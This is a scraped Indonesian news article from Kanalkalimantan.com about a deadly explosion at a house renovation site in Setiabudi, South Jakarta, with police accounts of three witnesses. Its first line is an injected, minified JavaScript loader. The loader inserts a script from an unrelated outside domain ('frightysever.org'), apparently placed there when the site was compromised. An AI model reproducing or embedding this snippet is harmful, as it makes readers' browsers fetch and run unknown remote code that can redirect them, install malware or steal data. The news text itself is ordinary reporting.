(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Kepolisian dari Polres Metro Jakarta Selatan telah memeriksa tiga orang saksi terkait ledakan di Setiabudi, tepatnya di sebuah rumah di Jalan Perahu, Guntur, Jakarta Selatan, Rabu (18/10/2023).
Penyebab ledakan masih diusut lebih lanjut oleh polisi.
Kapolres Jakarta Selatan, Kombes Ade Ary membeberkan, kepolisian sudah meminta keterangan tiga saksi untuk mengusut ledakan kali ini. Para saksi merupakan rekan dari korban yang sama-sama bertugas sebagai pekerja proyek rumah yang menjadi lokasi ledakan.
Baca juga:Â Tipu-tipu Perwira Gadungan Bisa Loloskan Masuk Polisi Ditangkap Polda Kalsel
Kapolres Jakarta Selatan, Kombes Ade Ary di Jalan Perahu, Guntur, Setiabudi, Jakarta Selatan, Rabu (18/10/2023). Foto: Beritasatu.com / Muhammad Aulia
“Berdasarkan keterangan tiga saksi, saat korban saudara A selesai beristirahat dalam melakukan pekerjaannya, sekitar pukul 13.00 WIB korban melanjutkan pekerjaan menggali di bagian belakang proyek rumah,” kata Ade di TKP terjadinya ledakan.
Ade menyebut, korban kemudian menemukan benda misterius. Rekan-rekan yang lain mencoba untuk mengingatkan korban agar berhati-hati.
“Saat menggali, korban menemukan benda bewarna terang seperti putih, kemudian diingatkan salah satu saksi agar berhati-hati terhadap benda tersebut,” ujar Ade.
Baca juga:Â Terjerat Korupsi Pengadaan Sapi dan Itik, Mantan Kadis Pertanian Balangan Jalani Sidang
“Kemudian berdasarkan keterangan saksi, korban memukul benda tersebut dan akhirnya menimbulkan ledakan. Kemudian korban A ini kami temukan meninggal dunia di tanah galian yang mereka kerjakan, kemudian tiga saksi lainnya luka ringan,” ungkapnya.
Ade belum membeberkan soal apa sesungguhnya benda misterius warna terang itu yang memicu ledakan. Dia hanya menyebut, kepolisian sampai saat ini masih mendalami lebih lanjut.
“Ini masih kami dalami, saat ini olah TKP masih berlangsung,” ujar Ade.
Baca juga:Â Lansia Perempuan Diduga Disuruh Ngemis di Banjarmasin, Warga Geram Marahi Penjemput
Ledakan di Setiabudi yang dekat gedung KPK ini menyebabkan, satu orang tewas serta sejumlah korban lainnya terluka. Mereka merupakan para pekerja yang tengah terlibat dalam proyek renovasi rumah. Saat ini, lokasi ledakan telah dipasang garis polisi.
Pantauan Beritasatu.com -jejaring mitra Kanalkalimantan.com- di lokasi, tampak korban dievakuasi masuk ke mobil tim kepolisian. Sedangkan para korban luka mendapatkan perawatan di Puskesmas terdekat. (Beritasatu.com/kk)
Reporter : kk
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.